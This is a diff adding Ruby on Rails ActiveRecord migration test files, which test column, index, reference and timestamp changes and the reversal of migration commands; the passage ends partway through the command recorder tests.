+require "cases/migration/helper"
+
+module ActiveRecord
+  class Migration
+    class TableTest < ActiveRecord::TestCase
+      def setup
+        @connection = Minitest::Mock.new
+      end
+
+      teardown do
+        assert @connection.verify
+      end
+
+      def with_change_table
+        yield ActiveRecord::Base.connection.update_table_definition(:delete_me, @connection)
+      end
+
+      def test_references_column_type_adds_id
+        with_change_table do |t|
+          @connection.expect :add_reference, nil, [:delete_me, :customer, {}]
+          t.references :customer
+        end
+      end
+
+      def test_remove_references_column_type_removes_id
+        with_change_table do |t|
+          @connection.expect :remove_reference, nil, [:delete_me, :customer, {}]
+          t.remove_references :customer
+        end
+      end
+
+      def test_add_belongs_to_works_like_add_references
+        with_change_table do |t|
+          @connection.expect :add_reference, nil, [:delete_me, :customer, {}]
+          t.belongs_to :customer
+        end
+      end
+
+      def test_remove_belongs_to_works_like_remove_references
+        with_change_table do |t|
+          @connection.expect :remove_reference, nil, [:delete_me, :customer, {}]
+          t.remove_belongs_to :customer
+        end
+      end
+
+      def test_references_column_type_with_polymorphic_adds_type
+        with_change_table do |t|
+          @connection.expect :add_reference, nil, [:delete_me, :taggable, polymorphic: true]
+          t.references :taggable, polymorphic: true
+        end
+      end
+
+      def test_remove_references_column_type_with_polymorphic_removes_type
+        with_change_table do |t|
+          @connection.expect :remove_reference, nil, [:delete_me, :taggable, polymorphic: true]
+          t.remove_references :taggable, polymorphic: true
+        end
+      end
+
+      def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
+        with_change_table do |t|
+          @connection.expect :add_reference, nil, [:delete_me, :taggable, polymorphic: true, null: false]
+          t.references :taggable, polymorphic: true, null: false
+        end
+      end
+
+      def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag
+        with_change_table do |t|
+          @connection.expect :remove_reference, nil, [:delete_me, :taggable, polymorphic: true, null: false]
+          t.remove_references :taggable, polymorphic: true, null: false
+        end
+      end
+
+      def test_references_column_type_with_polymorphic_and_type
+        with_change_table do |t|
+          @connection.expect :add_reference, nil, [:delete_me, :taggable, polymorphic: true, type: :string]
+          t.references :taggable, polymorphic: true, type: :string
+        end
+      end
+
+      def test_remove_references_column_type_with_polymorphic_and_type
+        with_change_table do |t|
+          @connection.expect :remove_reference, nil, [:delete_me, :taggable, polymorphic: true, type: :string]
+          t.remove_references :taggable, polymorphic: true, type: :string
+        end
+      end
+
+      def test_timestamps_creates_updated_at_and_created_at
+        with_change_table do |t|
+          @connection.expect :add_timestamps, nil, [:delete_me, null: true]
+          t.timestamps null: true
+        end
+      end
+
+      def test_remove_timestamps_creates_updated_at_and_created_at
+        with_change_table do |t|
+          @connection.expect :remove_timestamps, nil, [:delete_me, { null: true }]
+          t.remove_timestamps(null: true)
+        end
+      end
+
+      def test_primary_key_creates_primary_key_column
+        with_change_table do |t|
+          @connection.expect :add_column, nil, [:delete_me, :id, :primary_key, primary_key: true, first: true]
+          t.primary_key :id, first: true
+        end
+      end
+
+      def test_integer_creates_integer_column
+        with_change_table do |t|
+          @connection.expect :add_column, nil, [:delete_me, :foo, :integer, {}]
+          @connection.expect :add_column, nil, [:delete_me, :bar, :integer, {}]
+          t.integer :foo, :bar
+        end
+      end
+
+      def test_bigint_creates_bigint_column
+        with_change_table do |t|
+          @connection.expect :add_column, nil, [:delete_me, :foo, :bigint, {}]
+          @connection.expect :add_column, nil, [:delete_me, :bar, :bigint, {}]
+          t.bigint :foo, :bar
+        end
+      end
+
+      def test_string_creates_string_column
+        with_change_table do |t|
+          @connection.expect :add_column, nil, [:delete_me, :foo, :string, {}]
+          @connection.expect :add_column, nil, [:delete_me, :bar, :string, {}]
+          t.string :foo, :bar
+        end
+      end
+
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_json_creates_json_column
+          with_change_table do |t|
+            @connection.expect :add_column, nil, [:delete_me, :foo, :json, {}]
+            @connection.expect :add_column, nil, [:delete_me, :bar, :json, {}]
+            t.json :foo, :bar
+          end
+        end
+
+        def test_xml_creates_xml_column
+          with_change_table do |t|
+            @connection.expect :add_column, nil, [:delete_me, :foo, :xml, {}]
+            @connection.expect :add_column, nil, [:delete_me, :bar, :xml, {}]
+            t.xml :foo, :bar
+          end
+        end
+      end
+
+      def test_column_creates_column
+        with_change_table do |t|
+          @connection.expect :add_column, nil, [:delete_me, :bar, :integer, {}]
+          t.column :bar, :integer
+        end
+      end
+
+      def test_column_creates_column_with_options
+        with_change_table do |t|
+          @connection.expect :add_column, nil, [:delete_me, :bar, :integer, { null: false }]
+          t.column :bar, :integer, null: false
+        end
+      end
+
+      def test_index_creates_index
+        with_change_table do |t|
+          @connection.expect :add_index, nil, [:delete_me, :bar, {}]
+          t.index :bar
+        end
+      end
+
+      def test_index_creates_index_with_options
+        with_change_table do |t|
+          @connection.expect :add_index, nil, [:delete_me, :bar, { unique: true }]
+          t.index :bar, unique: true
+        end
+      end
+
+      def test_index_exists
+        with_change_table do |t|
+          @connection.expect :index_exists?, nil, [:delete_me, :bar, {}]
+          t.index_exists?(:bar)
+        end
+      end
+
+      def test_index_exists_with_options
+        with_change_table do |t|
+          @connection.expect :index_exists?, nil, [:delete_me, :bar, { unique: true }]
+          t.index_exists?(:bar, unique: true)
+        end
+      end
+
+      def test_rename_index_renames_index
+        with_change_table do |t|
+          @connection.expect :rename_index, nil, [:delete_me, :bar, :baz]
+          t.rename_index :bar, :baz
+        end
+      end
+
+      def test_change_changes_column
+        with_change_table do |t|
+          @connection.expect :change_column, nil, [:delete_me, :bar, :string, {}]
+          t.change :bar, :string
+        end
+      end
+
+      def test_change_changes_column_with_options
+        with_change_table do |t|
+          @connection.expect :change_column, nil, [:delete_me, :bar, :string, { null: true }]
+          t.change :bar, :string, null: true
+        end
+      end
+
+      def test_change_default_changes_column
+        with_change_table do |t|
+          @connection.expect :change_column_default, nil, [:delete_me, :bar, :string]
+          t.change_default :bar, :string
+        end
+      end
+
+      def test_remove_drops_single_column
+        with_change_table do |t|
+          @connection.expect :remove_columns, nil, [:delete_me, :bar]
+          t.remove :bar
+        end
+      end
+
+      def test_remove_drops_multiple_columns
+        with_change_table do |t|
+          @connection.expect :remove_columns, nil, [:delete_me, :bar, :baz]
+          t.remove :bar, :baz
+        end
+      end
+
+      def test_remove_index_removes_index_with_options
+        with_change_table do |t|
+          @connection.expect :remove_index, nil, [:delete_me, { unique: true }]
+          t.remove_index unique: true
+        end
+      end
+
+      def test_rename_renames_column
+        with_change_table do |t|
+          @connection.expect :rename_column, nil, [:delete_me, :bar, :baz]
+          t.rename :bar, :baz
+        end
+      end
+
+      def test_table_name_set
+        with_change_table do |t|
+          assert_equal :delete_me, t.name
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/column_attributes_test.rb b/activerecord/test/cases/migration/column_attributes_test.rb
new file mode 100644
index 0000000000..9200d32caf
--- /dev/null
+++ b/activerecord/test/cases/migration/column_attributes_test.rb
@@ -0,0 +1,174 @@
+# frozen_string_literal: true
+
+require "cases/migration/helper"
+
+module ActiveRecord
+  class Migration
+    class ColumnAttributesTest < ActiveRecord::TestCase
+      include ActiveRecord::Migration::TestHelper
+
+      self.use_transactional_tests = false
+
+      def test_add_column_newline_default
+        string = "foo\nbar"
+        add_column "test_models", "command", :string, default: string
+        TestModel.reset_column_information
+
+        assert_equal string, TestModel.new.command
+      end
+
+      def test_add_remove_single_field_using_string_arguments
+        assert_no_column TestModel, :last_name
+
+        add_column "test_models", "last_name", :string
+        assert_column TestModel, :last_name
+
+        remove_column "test_models", "last_name"
+        assert_no_column TestModel, :last_name
+      end
+
+      def test_add_remove_single_field_using_symbol_arguments
+        assert_no_column TestModel, :last_name
+
+        add_column :test_models, :last_name, :string
+        assert_column TestModel, :last_name
+
+        remove_column :test_models, :last_name
+        assert_no_column TestModel, :last_name
+      end
+
+      def test_add_column_without_limit
+        # TODO: limit: nil should work with all adapters.
+        skip "MySQL wrongly enforces a limit of 255" if current_adapter?(:Mysql2Adapter)
+        add_column :test_models, :description, :string, limit: nil
+        TestModel.reset_column_information
+        assert_nil TestModel.columns_hash["description"].limit
+      end
+
+      if current_adapter?(:Mysql2Adapter)
+        def test_unabstracted_database_dependent_types
+          add_column :test_models, :intelligence_quotient, :tinyint
+          TestModel.reset_column_information
+          assert_match(/tinyint/, TestModel.columns_hash["intelligence_quotient"].sql_type)
+        end
+      end
+
+      unless current_adapter?(:SQLite3Adapter)
+        # We specifically do a manual INSERT here, and then test only the SELECT
+        # functionality. This allows us to more easily catch INSERT being broken,
+        # but SELECT actually working fine.
+        def test_native_decimal_insert_manual_vs_automatic
+          correct_value = "0012345678901234567890.0123456789".to_d
+
+          connection.add_column "test_models", "wealth", :decimal, precision: "30", scale: "10"
+
+          # Do a manual insertion
+          if current_adapter?(:OracleAdapter)
+            connection.execute "insert into test_models (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)"
+          else
+            connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
+          end
+
+          # SELECT
+          row = TestModel.first
+          assert_kind_of BigDecimal, row.wealth
+
+          # If this assert fails, that means the SELECT is broken!
+          assert_equal correct_value, row.wealth
+
+          # Reset to old state
+          TestModel.delete_all
+
+          # Now use the Rails insertion
+          TestModel.create wealth: BigDecimal.new("12345678901234567890.0123456789")
+
+          # SELECT
+          row = TestModel.first
+          assert_kind_of BigDecimal, row.wealth
+
+          # If these asserts fail, that means the INSERT (create function, or cast to SQL) is broken!
+          assert_equal correct_value, row.wealth
+        end
+      end
+
+      def test_add_column_with_precision_and_scale
+        connection.add_column "test_models", "wealth", :decimal, precision: 9, scale: 7
+
+        wealth_column = TestModel.columns_hash["wealth"]
+        assert_equal 9, wealth_column.precision
+        assert_equal 7, wealth_column.scale
+      end
+
+      if current_adapter?(:SQLite3Adapter)
+        def test_change_column_preserve_other_column_precision_and_scale
+          connection.add_column "test_models", "last_name", :string
+          connection.add_column "test_models", "wealth", :decimal, precision: 9, scale: 7
+
+          wealth_column = TestModel.columns_hash["wealth"]
+          assert_equal 9, wealth_column.precision
+          assert_equal 7, wealth_column.scale
+
+          connection.change_column "test_models", "last_name", :string, null: false
+          TestModel.reset_column_information
+
+          wealth_column = TestModel.columns_hash["wealth"]
+          assert_equal 9, wealth_column.precision
+          assert_equal 7, wealth_column.scale
+        end
+      end
+
+      unless current_adapter?(:SQLite3Adapter)
+        def test_native_types
+          add_column "test_models", "first_name", :string
+          add_column "test_models", "last_name", :string
+          add_column "test_models", "bio", :text
+          add_column "test_models", "age", :integer
+          add_column "test_models", "height", :float
+          add_column "test_models", "wealth", :decimal, precision: "30", scale: "10"
+          add_column "test_models", "birthday", :datetime
+          add_column "test_models", "favorite_day", :date
+          add_column "test_models", "moment_of_truth", :datetime
+          add_column "test_models", "male", :boolean
+
+          TestModel.create first_name: "bob", last_name: "bobsen",
+            bio: "I was born ....", age: 18, height: 1.78,
+            wealth: BigDecimal.new("12345678901234567890.0123456789"),
+            birthday: 18.years.ago, favorite_day: 10.days.ago,
+            moment_of_truth: "1782-10-10 21:40:18", male: true
+
+          bob = TestModel.first
+          assert_equal "bob", bob.first_name
+          assert_equal "bobsen", bob.last_name
+          assert_equal "I was born ....", bob.bio
+          assert_equal 18, bob.age
+
+          # Test for 30 significant digits (beyond the 16 of float), 10 of them
+          # after the decimal place.
+
+          assert_equal BigDecimal.new("0012345678901234567890.0123456789"), bob.wealth
+
+          assert_equal true, bob.male?
+
+          assert_equal String, bob.first_name.class
+          assert_equal String, bob.last_name.class
+          assert_equal String, bob.bio.class
+          assert_kind_of Integer, bob.age
+          assert_equal Time, bob.birthday.class
+          assert_equal Date, bob.favorite_day.class
+          assert_instance_of TrueClass, bob.male?
+          assert_kind_of BigDecimal, bob.wealth
+        end
+      end
+
+      if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter)
+        def test_out_of_range_limit_should_raise
+          assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, limit: 10 }
+
+          unless current_adapter?(:PostgreSQLAdapter)
+            assert_raise(ActiveRecordError) { add_column :test_models, :text_too_big, :text, limit: 0xfffffffff }
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/column_positioning_test.rb b/activerecord/test/cases/migration/column_positioning_test.rb
new file mode 100644
index 0000000000..23414419dc
--- /dev/null
+++ b/activerecord/test/cases/migration/column_positioning_test.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class ColumnPositioningTest < ActiveRecord::TestCase
+      attr_reader :connection
+      alias :conn :connection
+
+      def setup
+        super
+
+        @connection = ActiveRecord::Base.connection
+
+        connection.create_table :testings, id: false do |t|
+          t.column :first, :integer
+          t.column :second, :integer
+          t.column :third, :integer
+        end
+      end
+
+      teardown do
+        connection.drop_table :testings rescue nil
+        ActiveRecord::Base.primary_key_prefix_type = nil
+      end
+
+      if current_adapter?(:Mysql2Adapter)
+        def test_column_positioning
+          assert_equal %w(first second third), conn.columns(:testings).map(&:name)
+        end
+
+        def test_add_column_with_positioning
+          conn.add_column :testings, :new_col, :integer
+          assert_equal %w(first second third new_col), conn.columns(:testings).map(&:name)
+        end
+
+        def test_add_column_with_positioning_first
+          conn.add_column :testings, :new_col, :integer, first: true
+          assert_equal %w(new_col first second third), conn.columns(:testings).map(&:name)
+        end
+
+        def test_add_column_with_positioning_after
+          conn.add_column :testings, :new_col, :integer, after: :first
+          assert_equal %w(first new_col second third), conn.columns(:testings).map(&:name)
+        end
+
+        def test_change_column_with_positioning
+          conn.change_column :testings, :second, :integer, first: true
+          assert_equal %w(second first third), conn.columns(:testings).map(&:name)
+
+          conn.change_column :testings, :second, :integer, after: :third
+          assert_equal %w(first third second), conn.columns(:testings).map(&:name)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/columns_test.rb b/activerecord/test/cases/migration/columns_test.rb
new file mode 100644
index 0000000000..1b1d0af132
--- /dev/null
+++ b/activerecord/test/cases/migration/columns_test.rb
@@ -0,0 +1,319 @@
+# frozen_string_literal: true
+
+require "cases/migration/helper"
+
+module ActiveRecord
+  class Migration
+    class ColumnsTest < ActiveRecord::TestCase
+      include ActiveRecord::Migration::TestHelper
+
+      self.use_transactional_tests = false
+
+      # FIXME: this is more of an integration test with AR::Base and the
+      # schema modifications.  Maybe we should move this?
+      def test_add_rename
+        add_column "test_models", "girlfriend", :string
+        TestModel.reset_column_information
+
+        TestModel.create girlfriend: "bobette"
+
+        rename_column "test_models", "girlfriend", "exgirlfriend"
+
+        TestModel.reset_column_information
+        bob = TestModel.first
+
+        assert_equal "bobette", bob.exgirlfriend
+      end
+
+      # FIXME: another integration test.  We should decouple this from the
+      # AR::Base implementation.
+      def test_rename_column_using_symbol_arguments
+        add_column :test_models, :first_name, :string
+
+        TestModel.create first_name: "foo"
+
+        rename_column :test_models, :first_name, :nick_name
+        TestModel.reset_column_information
+        assert_includes TestModel.column_names, "nick_name"
+        assert_equal ["foo"], TestModel.all.map(&:nick_name)
+      end
+
+      # FIXME: another integration test.  We should decouple this from the
+      # AR::Base implementation.
+      def test_rename_column
+        add_column "test_models", "first_name", "string"
+
+        TestModel.create first_name: "foo"
+
+        rename_column "test_models", "first_name", "nick_name"
+        TestModel.reset_column_information
+        assert_includes TestModel.column_names, "nick_name"
+        assert_equal ["foo"], TestModel.all.map(&:nick_name)
+      end
+
+      def test_rename_column_preserves_default_value_not_null
+        add_column "test_models", "salary", :integer, default: 70000
+
+        default_before = connection.columns("test_models").find { |c| c.name == "salary" }.default
+        assert_equal "70000", default_before
+
+        rename_column "test_models", "salary", "annual_salary"
+
+        assert_includes TestModel.column_names, "annual_salary"
+        default_after = connection.columns("test_models").find { |c| c.name == "annual_salary" }.default
+        assert_equal "70000", default_after
+      end
+
+      if current_adapter?(:Mysql2Adapter)
+        def test_mysql_rename_column_preserves_auto_increment
+          rename_column "test_models", "id", "id_test"
+          assert connection.columns("test_models").find { |c| c.name == "id_test" }.auto_increment?
+          TestModel.reset_column_information
+        ensure
+          rename_column "test_models", "id_test", "id"
+        end
+      end
+
+      def test_rename_nonexistent_column
+        exception = if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
+          ActiveRecord::StatementInvalid
+        else
+          ActiveRecord::ActiveRecordError
+        end
+
+        assert_raise(exception) do
+          rename_column "test_models", "nonexistent", "should_fail"
+        end
+      end
+
+      def test_rename_column_with_sql_reserved_word
+        add_column "test_models", "first_name", :string
+        rename_column "test_models", "first_name", "group"
+
+        assert_includes TestModel.column_names, "group"
+      end
+
+      def test_rename_column_with_an_index
+        add_column "test_models", :hat_name, :string
+        add_index :test_models, :hat_name
+
+        assert_equal 1, connection.indexes("test_models").size
+        rename_column "test_models", "hat_name", "name"
+
+        assert_equal ["index_test_models_on_name"], connection.indexes("test_models").map(&:name)
+      end
+
+      def test_rename_column_with_multi_column_index
+        add_column "test_models", :hat_size, :integer
+        add_column "test_models", :hat_style, :string, limit: 100
+        add_index "test_models", ["hat_style", "hat_size"], unique: true
+
+        rename_column "test_models", "hat_size", "size"
+        if current_adapter? :OracleAdapter
+          assert_equal ["i_test_models_hat_style_size"], connection.indexes("test_models").map(&:name)
+        else
+          assert_equal ["index_test_models_on_hat_style_and_size"], connection.indexes("test_models").map(&:name)
+        end
+
+        rename_column "test_models", "hat_style", "style"
+        if current_adapter? :OracleAdapter
+          assert_equal ["i_test_models_style_size"], connection.indexes("test_models").map(&:name)
+        else
+          assert_equal ["index_test_models_on_style_and_size"], connection.indexes("test_models").map(&:name)
+        end
+      end
+
+      def test_rename_column_does_not_rename_custom_named_index
+        add_column "test_models", :hat_name, :string
+        add_index :test_models, :hat_name, name: "idx_hat_name"
+
+        assert_equal 1, connection.indexes("test_models").size
+        rename_column "test_models", "hat_name", "name"
+        assert_equal ["idx_hat_name"], connection.indexes("test_models").map(&:name)
+      end
+
+      def test_remove_column_with_index
+        add_column "test_models", :hat_name, :string
+        add_index :test_models, :hat_name
+
+        assert_equal 1, connection.indexes("test_models").size
+        remove_column("test_models", "hat_name")
+        assert_equal 0, connection.indexes("test_models").size
+      end
+
+      def test_remove_column_with_multi_column_index
+        add_column "test_models", :hat_size, :integer
+        add_column "test_models", :hat_style, :string, limit: 100
+        add_index "test_models", ["hat_style", "hat_size"], unique: true
+
+        assert_equal 1, connection.indexes("test_models").size
+        remove_column("test_models", "hat_size")
+
+        # Every database and/or database adapter has their own behavior
+        # if it drops the multi-column index when any of the indexed columns dropped by remove_column.
+        if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
+          assert_equal [], connection.indexes("test_models").map(&:name)
+        else
+          assert_equal ["index_test_models_on_hat_style_and_hat_size"], connection.indexes("test_models").map(&:name)
+        end
+      end
+
+      def test_change_type_of_not_null_column
+        change_column "test_models", "updated_at", :datetime, null: false
+        change_column "test_models", "updated_at", :datetime, null: false
+
+        TestModel.reset_column_information
+        assert_equal false, TestModel.columns_hash["updated_at"].null
+      ensure
+        change_column "test_models", "updated_at", :datetime, null: true
+      end
+
+      def test_change_column_nullability
+        add_column "test_models", "funny", :boolean
+        assert TestModel.columns_hash["funny"].null, "Column 'funny' must initially allow nulls"
+
+        change_column "test_models", "funny", :boolean, null: false, default: true
+
+        TestModel.reset_column_information
+        assert_not TestModel.columns_hash["funny"].null, "Column 'funny' must *not* allow nulls at this point"
+
+        change_column "test_models", "funny", :boolean, null: true
+        TestModel.reset_column_information
+        assert TestModel.columns_hash["funny"].null, "Column 'funny' must allow nulls again at this point"
+      end
+
+      def test_change_column
+        add_column "test_models", "age", :integer
+        add_column "test_models", "approved", :boolean, default: true
+
+        old_columns = connection.columns(TestModel.table_name)
+
+        assert old_columns.find { |c| c.name == "age" && c.type == :integer }
+
+        change_column "test_models", "age", :string
+
+        new_columns = connection.columns(TestModel.table_name)
+
+        assert_not new_columns.find { |c| c.name == "age" && c.type == :integer }
+        assert new_columns.find { |c| c.name == "age" && c.type == :string }
+
+        old_columns = connection.columns(TestModel.table_name)
+        assert old_columns.find { |c|
+          default = connection.lookup_cast_type_from_column(c).deserialize(c.default)
+          c.name == "approved" && c.type == :boolean && default == true
+        }
+
+        change_column :test_models, :approved, :boolean, default: false
+        new_columns = connection.columns(TestModel.table_name)
+
+        assert_not new_columns.find { |c|
+          default = connection.lookup_cast_type_from_column(c).deserialize(c.default)
+          c.name == "approved" && c.type == :boolean && default == true
+        }
+        assert new_columns.find { |c|
+          default = connection.lookup_cast_type_from_column(c).deserialize(c.default)
+          c.name == "approved" && c.type == :boolean && default == false
+        }
+        change_column :test_models, :approved, :boolean, default: true
+      end
+
+      def test_change_column_with_nil_default
+        add_column "test_models", "contributor", :boolean, default: true
+        assert TestModel.new.contributor?
+
+        change_column "test_models", "contributor", :boolean, default: nil
+        TestModel.reset_column_information
+        assert_not TestModel.new.contributor?
+        assert_nil TestModel.new.contributor
+      end
+
+      def test_change_column_to_drop_default_with_null_false
+        add_column "test_models", "contributor", :boolean, default: true, null: false
+        assert TestModel.new.contributor?
+
+        change_column "test_models", "contributor", :boolean, default: nil, null: false
+        TestModel.reset_column_information
+        assert_not TestModel.new.contributor?
+        assert_nil TestModel.new.contributor
+      end
+
+      def test_change_column_with_new_default
+        add_column "test_models", "administrator", :boolean, default: true
+        assert TestModel.new.administrator?
+
+        change_column "test_models", "administrator", :boolean, default: false
+        TestModel.reset_column_information
+        assert_not TestModel.new.administrator?
+      end
+
+      def test_change_column_with_custom_index_name
+        add_column "test_models", "category", :string
+        add_index :test_models, :category, name: "test_models_categories_idx"
+
+        assert_equal ["test_models_categories_idx"], connection.indexes("test_models").map(&:name)
+        change_column "test_models", "category", :string, null: false, default: "article"
+
+        assert_equal ["test_models_categories_idx"], connection.indexes("test_models").map(&:name)
+      end
+
+      def test_change_column_with_long_index_name
+        table_name_prefix = "test_models_"
+        long_index_name = table_name_prefix + ("x" * (connection.allowed_index_name_length - table_name_prefix.length))
+        add_column "test_models", "category", :string
+        add_index :test_models, :category, name: long_index_name
+
+        change_column "test_models", "category", :string, null: false, default: "article"
+
+        assert_equal [long_index_name], connection.indexes("test_models").map(&:name)
+      end
+
+      def test_change_column_default
+        add_column "test_models", "first_name", :string
+        connection.change_column_default "test_models", "first_name", "Tester"
+
+        assert_equal "Tester", TestModel.new.first_name
+      end
+
+      def test_change_column_default_to_null
+        add_column "test_models", "first_name", :string
+        connection.change_column_default "test_models", "first_name", nil
+        assert_nil TestModel.new.first_name
+      end
+
+      def test_change_column_default_with_from_and_to
+        add_column "test_models", "first_name", :string
+        connection.change_column_default "test_models", "first_name", from: nil, to: "Tester"
+
+        assert_equal "Tester", TestModel.new.first_name
+      end
+
+      def test_remove_column_no_second_parameter_raises_exception
+        assert_raise(ArgumentError) { connection.remove_column("funny") }
+      end
+
+      def test_removing_and_renaming_column_preserves_custom_primary_key
+        connection.create_table "my_table", primary_key: "my_table_id", force: true do |t|
+          t.integer "col_one"
+          t.string "col_two", limit: 128, null: false
+        end
+
+        remove_column("my_table", "col_two")
+        rename_column("my_table", "col_one", "col_three")
+
+        assert_equal "my_table_id", connection.primary_key("my_table")
+      ensure
+        connection.drop_table(:my_table) rescue nil
+      end
+
+      def test_column_with_index
+        connection.create_table "my_table", force: true do |t|
+          t.string :item_number, index: true
+        end
+
+        assert connection.index_exists?("my_table", :item_number, name: :index_my_table_on_item_number)
+      ensure
+        connection.drop_table(:my_table) rescue nil
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb
new file mode 100644
index 0000000000..0b5e983f14
--- /dev/null
+++ b/activerecord/test/cases/migration/command_recorder_test.rb
@@ -0,0 +1,347 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class CommandRecorderTest < ActiveRecord::TestCase
+      def setup
+        connection = ActiveRecord::Base.connection
+        @recorder  = CommandRecorder.new(connection)
+      end
+
+      def test_respond_to_delegates
+        recorder = CommandRecorder.new(Class.new {
+          def america; end
+        }.new)
+        assert recorder.respond_to?(:america)
+      end
+
+      def test_send_calls_super
+        assert_raises(NoMethodError) do
+          @recorder.send(:non_existing_method, :horses)
+        end
+      end
+
+      def test_send_delegates_to_record
+        recorder = CommandRecorder.new(Class.new {
+          def create_table(name); end
+        }.new)
+        assert recorder.respond_to?(:create_table), "respond_to? create_table"
+        recorder.send(:create_table, :horses)
+        assert_equal [[:create_table, [:horses], nil]], recorder.commands
+      end
+
+      def test_unknown_commands_delegate
+        recorder = Struct.new(:foo)
+        recorder = CommandRecorder.new(recorder.new("bar"))
+        assert_equal "bar", recorder.foo
+      end
+
+      def test_inverse_of_raise_exception_on_unknown_commands
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :execute, ["some sql"]
+        end
+      end
+
+      def test_irreversible_commands_raise_exception
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.revert { @recorder.execute "some sql" }
+        end
+      end
+
+      def test_record
+        @recorder.record :create_table, [:system_settings]
+        assert_equal 1, @recorder.commands.length
+      end
+
+      def test_inverted_commands_are_reversed
+        @recorder.revert do
+          @recorder.record :create_table, [:hello]
+          @recorder.record :create_table, [:world]
+        end
+        tables = @recorder.commands.map { |_cmd, args, _block| args }
+        assert_equal [[:world], [:hello]], tables
+      end
+
+      def test_revert_order
+        block = Proc.new { |t| t.string :name }
+        @recorder.instance_eval do
+          create_table("apples", &block)
+          revert do
+            create_table("bananas", &block)
+            revert do
+              create_table("clementines", &block)
+              create_table("dates")
+            end
+            create_table("elderberries")
+          end
+          revert do
+            create_table("figs", &block)
+            create_table("grapes")
+          end
+        end
+        assert_equal [[:create_table, ["apples"], block], [:drop_table, ["elderberries"], nil],
+                      [:create_table, ["clementines"], block], [:create_table, ["dates"], nil],
+                      [:drop_table, ["bananas"], block], [:drop_table, ["grapes"], nil],
+                      [:drop_table, ["figs"], block]], @recorder.commands
+      end
+
+      def test_invert_change_table
+        @recorder.revert do
+          @recorder.change_table :fruits do |t|
+            t.string :name
+            t.rename :kind, :cultivar
+          end
+        end
+        assert_equal [
+          [:rename_column, [:fruits, :cultivar, :kind]],
+          [:remove_column, [:fruits, :name, :string, {}], nil],
+        ], @recorder.commands
+
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.revert do
+            @recorder.change_table :fruits do |t|
+              t.remove :kind
+            end
+          end
+        end
+      end
+
+      def test_invert_create_table
+        @recorder.revert do
+          @recorder.record :create_table, [:system_settings]
+        end
+        drop_table = @recorder.commands.first
+        assert_equal [:drop_table, [:system_settings], nil], drop_table
+      end
+
+      def test_invert_create_table_with_options_and_block
+        block = Proc.new {}
+        drop_table = @recorder.inverse_of :create_table, [:people_reminders, id: false], &block
+        assert_equal [:drop_table, [:people_reminders, id: false], block], drop_table
+      end
+
+      def test_invert_drop_table
+        block = Proc.new {}
+        create_table = @recorder.inverse_of :drop_table, [:people_reminders, id: false], &block
+        assert_equal [:create_table, [:people_reminders, id: false], block], create_table
+      end
+
+      def test_invert_drop_table_without_a_block_nor_option
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :drop_table, [:people_reminders]
+        end
+      end
+
+      def test_invert_create_join_table
+        drop_join_table = @recorder.inverse_of :create_join_table, [:musics, :artists]
+        assert_equal [:drop_join_table, [:musics, :artists], nil], drop_join_table
+      end
+
+      def test_invert_create_join_table_with_table_name
+        drop_join_table = @recorder.inverse_of :create_join_table, [:musics, :artists, table_name: :catalog]
+        assert_equal [:drop_join_table, [:musics, :artists, table_name: :catalog], nil], drop_join_table
+      end
+
+      def test_invert_drop_join_table
+        block = Proc.new {}
+        create_join_table = @recorder.inverse_of :drop_join_table, [:musics, :artists, table_name: :catalog], &block
+        assert_equal [:create_join_table, [:musics, :artists, table_name: :catalog], block], create_join_table
+      end
+
+      def test_invert_rename_table
+        rename = @recorder.inverse_of :rename_table, [:old, :new]
+        assert_equal [:rename_table, [:new, :old]], rename
+      end
+
+      def test_invert_add_column
+        remove = @recorder.inverse_of :add_column, [:table, :column, :type, {}]
+        assert_equal [:remove_column, [:table, :column, :type, {}], nil], remove
+      end
+
+      def test_invert_change_column
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :change_column, [:table, :column, :type, {}]
+        end
+      end
+
+      def test_invert_change_column_default
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :change_column_default, [:table, :column, "default_value"]
+        end
+      end
+
+      def test_invert_change_column_default_with_from_and_to
+        change = @recorder.inverse_of :change_column_default, [:table, :column, from: "old_value", to: "new_value"]
+        assert_equal [:change_column_default, [:table, :column, from: "new_value", to: "old_value"]], change
+      end
+
+      def test_invert_change_column_default_with_from_and_to_with_boolean
+        change = @recorder.inverse_of :change_column_default, [:table, :column, from: true, to: false]
+        assert_equal [:change_column_default, [:table, :column, from: false, to: true]], change
+      end
+
+      def test_invert_change_column_null
+        add = @recorder.inverse_of :change_column_null, [:table, :column, true]
+        assert_equal [:change_column_null, [:table, :column, false]], add
+      end
+
+      def test_invert_remove_column
+        add = @recorder.inverse_of :remove_column, [:table, :column, :type, {}]
+        assert_equal [:add_column, [:table, :column, :type, {}], nil], add
+      end
+
+      def test_invert_remove_column_without_type
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :remove_column, [:table, :column]
+        end
+      end
+
+      def test_invert_rename_column
+        rename = @recorder.inverse_of :rename_column, [:table, :old, :new]
+        assert_equal [:rename_column, [:table, :new, :old]], rename
+      end
+
+      def test_invert_add_index
+        remove = @recorder.inverse_of :add_index, [:table, [:one, :two]]
+        assert_equal [:remove_index, [:table, { column: [:one, :two] }]], remove
+      end
+
